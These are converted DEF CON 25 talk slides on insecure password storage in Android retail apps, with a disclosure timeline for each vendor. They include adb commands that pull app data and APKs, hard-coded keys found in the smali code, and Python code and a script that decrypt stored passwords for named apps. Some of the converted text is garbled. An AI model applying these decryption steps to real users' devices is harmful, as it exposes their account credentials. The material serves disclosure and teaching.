Passwords on a Phone

DEF CON 25
Packet Hacking Village
July 29, 2017
Me

- Sam Bowne
- Twitter: @sambowne
- Instructor at City College San Francisco
- All materials freely available at samsclass.info
Persistent Login

- Users remain logged in even after shutting off their phone
- How does the app remember who you are?
Target == GOOD
Target AU Android App

- view the latest catalogues
- create a wishlist
- browse and shop from our inspiration feed
- turn your phone into a product scanner for use in Target stores
- free Home Delivery for orders over $80*
- free Click and Collect*
- free returns via post or in-store
- quickly get details for your nearest store

Data charges may apply.


WHAT'S NEW
With this update you'll be able to:

- Our app has had a facelift and the Target red is back!
- Some minor bugs have been squashed along the way

Target Australia

Target Australia
Everyone

Designed for phones

100,000+ downloads
3.6
Shopping
Similar

The free Target Australia app makes shopping quick and easy wherever you are.

Version 2.2.7

Updated on May 1, 2017

Downloads 100,000+

Offered by Target Australia

Developer e-mail targetandroidapp@gmail.com

**Everyone**

Shares Location

Learn More
## User Login

<table>
<thead>
<tr>
<th>#</th>
<th>Host</th>
<th>Method</th>
<th>URL</th>
<th>Params</th>
<th>Edited</th>
<th>Status</th>
</tr>
</thead>
</table>

### POST request to /j_spring_security_check

<table>
<thead>
<tr>
<th>Type</th>
<th>Name</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>Cookie</td>
<td>targetAnonymousToken</td>
<td>bdc52e8c-93cf-4a67-a88e-26a8cb570358</td>
</tr>
<tr>
<td>Cookie</td>
<td>JSESSIONID</td>
<td>F16E6F59CC99A518CCDCB0407A3254F7.APP5P</td>
</tr>
<tr>
<td>Cookie</td>
<td>ak_bmsc</td>
<td>9211A8BA40A563E7930DDD77F0D9F19917C532ECFC1F00</td>
</tr>
<tr>
<td>Cookie</td>
<td>_vwo_uuid_v2</td>
<td>81E47121A97C335315FFCDA7F9889935</td>
</tr>
<tr>
<td>Cookie</td>
<td>_ga</td>
<td>GA1.3.130687489.1494038344</td>
</tr>
<tr>
<td>Cookie</td>
<td>_gid</td>
<td>GA1.3.1828558961.1494038344</td>
</tr>
<tr>
<td>Cookie</td>
<td>_gat</td>
<td>1</td>
</tr>
<tr>
<td>Cookie</td>
<td>_uetsid</td>
<td>_uetsb49c1c7d</td>
</tr>
<tr>
<td>Cookie</td>
<td>akavpau_prodvp_maintenance</td>
<td>1494038645~id=ce66f11ee1703b10fb5aa05ebfb236e0</td>
</tr>
<tr>
<td>Cookie</td>
<td>_gali</td>
<td>login</td>
</tr>
<tr>
<td>Cookie</td>
<td>ak_fg_stale</td>
<td>1</td>
</tr>
<tr>
<td>Body</td>
<td>_username</td>
<td><a href="mailto:test1111@aol.com">test1111@aol.com</a></td>
</tr>
<tr>
<td>Body</td>
<td>_password</td>
<td>P@ssw0rd1</td>
</tr>
<tr>
<td>Body</td>
<td>_csrf</td>
<td>398bc476-8d5a-485e-8256-301f38ca8687</td>
</tr>
</tbody>
</table>
Server Response

Random Number, stored in a cookie

THIS IS THE RIGHT WAY
Staples == BAD
Locally Stored Password

<string name="encryptedPassword">CT9SVzhhRaufBzCvmwENWQ==</string>

- Right away this shows a problem
- WHY store the password?
How to use the Android Keystore to store passwords and other sensitive information

1. Best way: **Don't**. Use a cookie
2. Use **Android KeyChain**
3. Encrypt with with a public key
   - Private key is kept secret on a server
4. Encrypt with with a private key
   - Private key is "hidden" on the phone (under the mat)
5. Store data unencrypted on the phone
Special Password

<string name="encryptedPassword">
5V/u0kJK/Pxnb8yo70dXzuVf7jpIyvz8Z2/MqOznV84Chyt51Fv9LDpXXmJq9fUx
</string>

- aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaA123
- 32 identical characters at beginning

Decade
```
p = '5V/u0kjK/Pxnb8yo70dXzuVf7jpIyvz8Z2/MqOznV84Chyt51Fv9LDpXXmJq9fUx'
>>> p.decode("base64").encode("hex")
'e55fee3a48cafcfc676fcca8ece757cee55fee3a48cafcfc676fcca8ece757ce02872b79945bfd2c3a575e626af5f531'
```

```
e55fee3a48cafcfc676fcca8ece757ce
e55fee3a48cafcfc676fcca8ece757ce02872b79945bfd2c3a575e626af5f531
```
Read SMali Code

```
292 .line 1450
293 const-string v3, "username"
294
295 invoke-interface {v2, v3, v0}, Landroid/content/SharedPreferences$Editor;->putString(Ljava/lang/String;Ljava/lang/String;);Landroid/content/SharedPreferences$Editor;
296
297 .line 1451
298 const-string v0, "encryptedPassword"
299
300 invoke-direct {p0}, Lapp/staples/mobile/cfa/k/e;->gu()Ljava/lang/String;
301 move-result-object v3
302
303 invoke-static {v1, v3}, Lapp/staples/mobile/cfa/k/a;->m(Ljava/lang/String;Ljava/lang/String;);Ljava/lang/String;
304 move-result-object v1
305
306 invoke-interface {v2, v0, v1}, Landroid/content/SharedPreferences$Editor;->putString(Ljava/lang/String;Ljava/lang/String;);Landroid/content/SharedPreferences$Editor;
307
310 .line 1462
311 :goto_0
312 invoke-interface {v2}, Landroid/content/SharedPreferences$Editor;->apply()V
```
.line 505
sget-object v1, android/os/Build;->BRAND:Ljava/lang/String;

invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

.line 506
sget-object v1, android/os/Build;->DEVICE:Ljava/lang/String;

invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

.line 507
sget-object v1, android/os/Build;->MODEL:Ljava/lang/String;

invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

.line 508
sget-object v1, android/os/Build;->SERIAL:Ljava/lang/String;

invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

.line 509
iget-object v1, p0, Lapp/staples/mobile/cfa/k/e;->Es:Lapp/staples/mobile/cfa/MainActivity;

invoke-virtual {v1}, Lapp/staples/mobile/cfa/MainActivity;->getApplication()Landroid/app/Application;

move-result-object v1

invoke-virtual {v1}, Landroid/app/Application;->getPackageName()Ljava/lang/String;
Final Key

```
[Sams-MBP-3:~ sambowne$ echo -n "3xtraS@ltgenericvbox86pGoogle Galaxy Nexus - 4.3
-API 18 - 720x1280unknownapp.staples" | openssl sha1
fb4c0f36e2fb1dc0225ecbafd908da0961df34b5
Sams-MBP-3:~ sambowne$]
```
Encryption Test

Input type: Text
Input text: aaaaaaaaaaaaaaaaa

Option: Plaintext
Function: AES
Mode: ECB (electronic codebook)
Key: fb4c0f36e2fb1dc0225ecbaf908da09

Option: Hex

> Encrypt!  > Decrypt!

Encrypted text:
00000000 13 1f b3 8e b0 88 96 0c 3f 92 46 74 74 84 5f 3e

[Download as a binary file] [?]
Notification

- Notified Jan 2, 2017
- Automated response said it would be fixed
- No response to follow-up email
- April 13 -- Staples became homework
Proj 6x: Stealing Personal Data from the Staples Android App (20 pts + 20 pts. extra credit)

Summary

The Staples Android app stores the user's password with insecure encryption, because it uses a predictable password. It also uses Electronic Code Book mode, which preserves patterns in the input and is unsuited for protecting private data.

This is the #6 most important security flaw in mobile apps, according to OWASP.
Notification

- Fixed by May 9, 2017

Our app is best experienced in non-rooted device. As you are using a rooted device, we will not keep you logged in for your login security.

OK

Speed up checkout by adding one now.
We have patched the vulnerability you reported.
Plaintext Password Storage

**Ace Hardware**
Notified 5-16-17; no reply; still vulnerable as of 7-28-17

**McDonald's**
Notified 5-13-17; no reply; still vulnerable as of 7-28-17

**Menards**
Notified 5-20-17; no reply, still vulnerable as of 7-28-17

Here's the password stored in plaintext on the phone:

```xml
<vbox86p:/data/data/com.acehardware #>
|at ./.shared_prefs/com.bb.framework.PREF_SESSION_MANAGER.xml
|<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
|<map>
|<string name="com.bb.framework.DATA_LOGIN">test1111@maIinator.com</string>
|<string name="com.bb.framework.DATA_PASSWORD">P@ssw0rd</string>
|</map>
<vbox86p:/data/data/com.acehardware #]
```
Plaintext Login

7-Eleven Mexico
Notified 5-20-17; no reply, still vulnerable as of 7-28-17

Trader Joe's Fan
Notified 5-20-17; no reply, no update as of 7-28-17 (Last updated in 2014)
POST request to /backend/api/appusers/register

<table>
<thead>
<tr>
<th>Type</th>
<th>Name</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>Body</td>
<td>email</td>
<td><a href="mailto:test1111@mailinator.com">test1111@mailinator.com</a></td>
</tr>
<tr>
<td>Body</td>
<td>name</td>
<td>test test</td>
</tr>
<tr>
<td>Body</td>
<td>phone</td>
<td>4155551213</td>
</tr>
<tr>
<td>Body</td>
<td>device_type</td>
<td>android</td>
</tr>
<tr>
<td>Body</td>
<td>login_provider</td>
<td>app</td>
</tr>
<tr>
<td>Body</td>
<td>password</td>
<td>P@ssw0rd</td>
</tr>
<tr>
<td>Body</td>
<td>birth_date</td>
<td>1975-01-01</td>
</tr>
<tr>
<td>Body</td>
<td>gender</td>
<td>femenino</td>
</tr>
<tr>
<td>Body</td>
<td>key</td>
<td>x7QfN7y1OtjP1FdyRtRn</td>
</tr>
</tbody>
</table>
Broken SSL

A Feature, Not a Bug
A Feature, Not a Bug

WHAT'S NEW
+ Fixed bug causing certain users with older version of Chromium Webview to only see blank screen in integrated browsers.
+ Integrated in-app FAQs and support chat.
+ Optimized item searching for slower connections.
+ Fixed previous price display glitch.
+ Cleaned/Optimized menu and preferences screens.

Password Stored with Responsibly Trustworthy
## Reversible Encryption

### Password Stored with Reversible Encryption

<table>
<thead>
<tr>
<th>Store</th>
<th>Status</th>
</tr>
</thead>
<tbody>
<tr>
<td>Home Depot</td>
<td>Notified 4-19-17; automated reply, no fix as of 7-28-17</td>
</tr>
<tr>
<td>Kroger</td>
<td>Notified 4-24-17; no reply; still vulnerable as of 7-28-17</td>
</tr>
<tr>
<td>Safeway</td>
<td>Notified 4-21-17; no reply; changed but probably still vulnerable as of 7-28-17</td>
</tr>
<tr>
<td>Walgreens</td>
<td>Notified 5-3-17; no reply; still vulnerable as of 7-28-17</td>
</tr>
</tbody>
</table>
Locally stored password is encrypted

Sams-MacBook-Pro-3:platform-tools sambowne$ ./adb shell
vbox86p:/ # cd /data/data/com.themadedepot
vbox86p:/data/data/com.themadedepot # grep -r encrypted_password .
./shared_prefs/com.themadedepot.consumerapp.preferences.xml:  <string name="encrypted_password">Fja+tKHAwB0=]i/t6KDtufWwRD+YKwBJSw==]sKiazYHcVv056eNANFtoCA==</string>
vbox86p:/data/data/com.themadedepot #
Unpack APK

Sams-MacBook-Pro-3:platform-tools sambowne$ ./adb shell pm list packages | grep depo
package:com.thehomedeport
package:com.thehomedeport.coloryourworld
Sams-MacBook-Pro-3:platform-tools sambowne$ ./adb shell pm path com.thehomedeport
package:/data/app/com.thehomedeport-1/base.apk
Sams-MacBook-Pro-3:platform-tools sambowne$ ./adb pull /data/app/com.thehomedeport-1/base.apk
10027 KB/s (24375477 bytes in 2.373s)

Sams-MacBook-Pro-3:repeat sambowne$ java -jar ../../apktool_2.2.2.jar d base.apk
I: Using Apktool 2.2.2 on base.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /Users/sambowne/Library/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmding classes.dex...
I: Baksmding classes2.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...
Sams-MacBook-Pro-3:repeat sambowne$ |

Sams-MacBook-Pro-3:base sambowne$ grep -r encrypted_password .
./smali_classes2/com/thehomedeport/constants/SharedPrefConstants.smali:.field public static final USER_LOGIN_PASSWORD
ORD:Ljava/lang/String; = "encrypted_password"
./smali_classes2/com/thehomedeport/core/utils/EncryptionUtil.smali: const-string v0, "encrypted_password"
./smali_classes2/com/thehomedeport/core/utils/EncryptionUtil.smali: const-string v2, "encrypted_password"
./smali_classes2/com/thehomedeport/core/utils/EncryptionUtil.smali: const-string v2, "encrypted_password"
./smali_classes2/com/thehomedeport/core/utils/EncryptionUtil.smali: const-string v1, "encrypted_password"
./smali_classes2/com/thehomedeport/core/utils/EncryptionUtil.smali: const-string v1, "encrypted_password"

EncryptionUtil.smali - /Users/sambowne/Documents/Android/homedeport/repeat/base/smali_classes2/com/thehomedeport/core/utils/EncryptionUtil.smali
class public Lcom/thehomedeport/core/utils/EncryptionUtil;
  super Ljava/lang/Object;
  source "EncryptionUtil.java"

  # static fields
  field private static final CIPHER_ALGORITHM:Ljava/lang/String; = "AES/CBC/PKCS5Padding"
  field private static DELIMITER:Ljava/lang/String; = null
  field private static final HEX:Ljava/lang/String; = "0123456789abcdef"
  field private static INSECURE_SEED:Ljava/lang/String; = null
  field private static ITERATION_COUNT:I = 0x0
  field private static KEY_LENGTH:I = 0x0
  field public static final PBKDF2 Derivation ALGORITHM:Ljava/lang/String; = "PBKDF2WithHmacSHA1"
  field private static final PKCS5_SALT_LENGTH:I = 0x8
  field private static PUBLIC_PASSWORD_PBKDF2:Ljava/lang/String;
  field private static TAG:Ljava/lang/String;
  field private static random:Ljava/security/SecureRandom;

  Saved: April 19, 2017 at 1:06 PM · Length: 50,125 · Encoding: Unicode (UTF-8)
30 # direct methods
31 .method static constructor <clinit>()V
32 .locals 1
33
34 .prologue
35 .line 48
36 const-string v0, "EncryptionUtil"
37
38 sput-object v0, Lcom/thehomedeapot/core/utils/EncryptionUtil;->TAG:Ljava/lang/String;
39
40 .line 51
41 const-string v0, "ThisIsAVeryInsecureKey"
42
43 sput-object v0, Lcom/thehomedeapot/core/utils/EncryptionUtil;->INSECURE_SEED:Ljava/lang/String;
44
45 .line 52
46 const-string v0, "PUBLIC_PASSWORD_PBKDF2"
47
48 sput-object v0, Lcom/thehomedeapot/core/utils/EncryptionUtil;->PUBLIC_PASSWORD_PBKDF2:Ljava/lang/String;
49
50 .line 54
51 const/16 v0, 0x100
52
53 sput v0, Lcom/thehomedeapot/core/utils/EncryptionUtil;->KEY_LENGTH:I
54
55 .line 56
56 const/16 v0, 0x3e8
57
58 sput v0, Lcom/thehomedeapot/core/utils/EncryptionUtil;->ITERATION_COUNT:I
59
60 .line 59
61 const-string v0, "]"
62
63 sput-object v0, Lcom/thehomedeapot/core/utils/EncryptionUtil;->DELIMITER:Ljava/lang/String;
Salt -> Key
Salt -> Key

Salt:
0f6bd1182f99da00

Secret Key:
372e46a3e7dedd9b8d7daaf3b85b595954a4be42e8ef5827e2a9f9e7eca65eb3

Complete Decryption

```python
>>> blob1 = "D2vRGC+Z2gA="
>>> blob2 = "Ji9paoNYX\INIMlhlBo230Q=="
>>> blob3 = "dLdrU0be6D3fQeh20UW5dQ=="

>>> print blob1.decode("base64").encode("hex")
0f6bd1182f99da00

>>> print blob2.decode("base64").encode("hex")
262f696a83585e534b25865068dbd71

>>> print blob3.decode("base64").encode("hex")
74b76b5346dee83d4f41e8763945b975

>>> salt = "D2vRGC+Z2gA=".decode("base64")
>>> from pbkdf2 import PBKDF2
>>> PBKDF2('PUBLIC_PASSWORD_PBKDF2', salt).read(32).encode("hex")
"372e46a3e7dedd9b8d7daaf3b85b595954a4be42e8ef5827e2a9f9e7eca65eb3"
```
```python
>>> from Crypto.Cipher import AES
>>> secret_key = '372e46a3e7dedd9b8d7daaf3b85b595954a4be42e8ef5827e2a9f9e7eca65eb3'.decode("hex")
>>> iv = 'Ji9paoNYXUNIMlhlBo230Q=='.decode("base64")
>>> cipher = AES.new(secret_key, AES.MODE_CBC, iv)
>>> cipher.decrypt('dLDrU0be6D3fQeh20UW5dQ=='.decode("base64"))
P@ssw0rd\x08\x08\x08\x08\x08\x08\x08\x08
```

Python Script to Decrypt encrypted_password

Putting it all together, this script does the complete reversal, using only the locally stored data.

```python
from Crypto.Cipher import AES
from pbkdf2 import PBKDF2
import os
import base64
```
import os
import base64

orig = raw_input("Enter encrypted_password: ")

d1 = orig.find("\n")
d2 = orig.find("\", d1+1)

blob164 = orig[:d1]
blob264 = orig[d1+1:d2]
blob364 = orig[d2+1:]

print
print "BLOB1 (salt): " , blob164
print "BLOB2 (iv): " , blob264
print "BLOB3 (ciphertext): " , blob364
print

salt = blob164.decode("base64")
iv = blob264.decode("base64")
ciphertext = blob364.decode("base64")

secret_key = PBKDF2('PUBLIC_PASSWORD_PBKDF2', salt).read(32)
print _SECRET KEY (from salt): " , secret_key.encode("hex")
print

cipher = AES.new(secret_key, AES.MODE_CBC, iv)
decrypted = cipher.decrypt(ciphertext)

n = len(decrypted)
pw = ''
for i in range(n):
    if decrypted[i] > chr(8):
        pw += decrypted[i]

print "Stored password: ", pw

Sams-MacBook-Pro-3:python sambowne$ python homedepot
Enter encrypted_password:  D2vRGC+Z2gA=[Ji9paoNYX\lNIM\lBo230Q==]dLdrU0be6D3fQeh2OUW5dQ==
BLOB1 (salt):     D2vRGC+Z2gA=
BLOB2 (iv):       Ji9paoNYX\lNIM\lBo230==
BLOB3 (ciphertext): dLdrU0be6D3fQeh2OUW5dQ==
BLOB1 (salt): I0V7XQJ0oc==
BLOB2 (iv): JaN6pzY+xxy5Wjw3I3oPLiw==
BLOB3 (ciphertext): ny1kAVgV2Q+g9qjFoMTFxw==

SECRET KEY (from salt): e91/420a288c2854eb82701f919783b1620b75e563f58f0eff8681995de1032e

StoredProcedure: AppletMacro

Store Procedure: AppletMacro

BLOB1 (salt): Fja+tKHAWBo==
BLOB2 (iv): i/t6KntufWwRD+YKBJSw==
BLOB3 (ciphertext): sKiazYHcVV056eNANFtoCA==

SECRET KEY (from salt): 98dad24e739c208c8cb5235b749353f6e3829f17e4afdb9e5a8a1938dbdb785cc

StoredProcedure: AppletMacro

BLOB1 (salt): dLdrU0be6D3fQeh20UW5dQ==
BLOB2 (iv): 372e46a3e7de9b8d7daaaf3b85b595954a4be428e5827e2a9f9e7eca65eb3
BLOB3 (ciphertext): ny1kAVgV2Q+g9qjFoMTFxw==

SECRET KEY (from salt): 372e46a3e7de9b8d7daaaf3b85b595954a4be428e5827e2a9f9e7eca65eb3

StoredProcedure: AppletMacro

Kroger

Here's the data the app stores on your phone:

CREDENTIALS_STORE_BASIC_AUTH_TYPE: GQkP13VFw0KKl55PMiTah5gqSAU7QSP6R47XR/sYbnc=&#10;kEqt5S3JtspfJpL2p3iq==&#10;WXujnFbQHKm2aVclQWFrUdTkQnr6xMjuwZobMUohaImdrLbiSyPKsmlztSliis&#10;

Decrypted it yields:

Username: testsam@mailinator.com
Password: P@ssw0rd1
salt = blob1.decode("base64")
iv = blob2.decode("base64")
ciphertext = blob3.decode("base64")

pw = '64BCE401-8A76-4B07-BB03-F64A1F36F3D8'
secret_key = pbkdf2.PBKDF2(pw, salt, 2500).read(32)

n = len(iv)
iv = iv[n-16:n]

cipher = AES.new(secret_key, AES.MODE_CBC, iv)
basic = cipher.decrypt(ciphertext)
```xml
<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
    <string name="user_password">0C66B2215FC5F5A6017D95ECDD4AE784</string>
    <string name="private_userseed">user_login378710819</string>
    <string name="private_passwordseed">user_password2058718939</string>
    <string name="private_salt">6FYi/Lt0pVN3Z/NULU+Pg==</string>
    <boolean name="is_logged_in" value="true" />
    <string name="user_login">7E48C64C2D84BDB31B70585A902AEA17CF89D49C0D00B68FABDC925853217A0A</string>
</map>
```

```python
>>> import pbkdf2
>>> seed = 'user_login378710819'
>>> salt = '6FYi/Lt0pVN3Z/NULU+Pg=='.decode("base64")
>>> pbkdf2.PBKDF2(seed, salt).read(16).encode("hex")
'bd3ecd1bb382b86ca13854c26fc051b'
```

```python
>>> import pbkdf2
>>> seed = 'user_password2058718939'
>>> salt = '6FYi/Lt0pVN3Z/NULU+Pg=='.decode("base64")
>>> pbkdf2.PBKDF2(seed, salt).read(16).encode("hex")
'245b01831db4ed2d90f98acdf6d85244'
```
Here's the data the Safeway app stores on your phone:

user_password: 0C66B2215FC5F5A6017D95ECDD4AE784
private_userseed: user_login378710819
private_passwordseed: user_password2058718939
private_salt: 6FYi1/Lt0pVN3Z/NuLU+Pg==
user_login: 7E48C64C2D84BDDB31B70585A902AEA17CF89D49C0D00B68FABDC92583217A0A

Decrypting it yields:

Username: test1111@aol.com
Password: P@ssw0rd
The Walgreens Encryption Key

The Walgreens userdata encryption key is always the same. It is calculated from a seed, which is hard-coded in the app in three places:

```
/res/values/strings.xml:  phW5854acbc576=
/res/values/strings.xml:  phW5854acbc576=
/smali_classes5/com/walgreens/quickprint/sdk/html5/c.smali:  const-string/jumbo v0, "phW5854acbc576="
```

The actual encryption key is calculated from that seed using PBKDF2, as shown below.

```
>>> import pbkdf2
>>> seed = 'phW5854acbc576=
>>> pbkdf2.PBKDF2(seed, seed, 128).read(32).encode("hex")
'b181cbb25f54b9ab0b7057e3b9329c355e6d3aed1b73a7c38144a9af067cfa6f'
```
Multiple Vulnerabilities
### Multiple Vulnerabilities

<table>
<thead>
<tr>
<th>Store</th>
<th>Issue Description</th>
<th>Notification Date</th>
<th>Reply Status</th>
<th>Vulnerability Status</th>
</tr>
</thead>
<tbody>
<tr>
<td>Delhaize</td>
<td>Password in log, broken SSL, and insecure local encryption</td>
<td>5-14-17</td>
<td>No reply</td>
<td>Still vulnerable as of 7-28-17</td>
</tr>
<tr>
<td>Publix</td>
<td>Plaintext Password Storage and Broken SSL</td>
<td>5-13-17</td>
<td>No reply</td>
<td>Still vulnerable as of 7-28-17</td>
</tr>
</tbody>
</table>

**Fixed**
Fixed

**Golf Galaxy**
Broken SSL, and insecure added encryption
Notified 5-21-17 -- FIXED

**JP Morgan Chase**
Password Exposed in Log
Notified 5-10-17; no reply, but fixed as of 7-28-17

**OptionsHouse by ETrade**
Broken SSL
Fixed more than two years after notification
I HAVE HAD IT WITH THESE #$@%! PASSWORDS ON THIS #$@%! PHONE!
CNIT 141: Cryptography for Computer Networks

Planned for Fall 2017

Schedule • Lecture Notes • Projects • Links • Home Page

Optional book ($33)
Free online version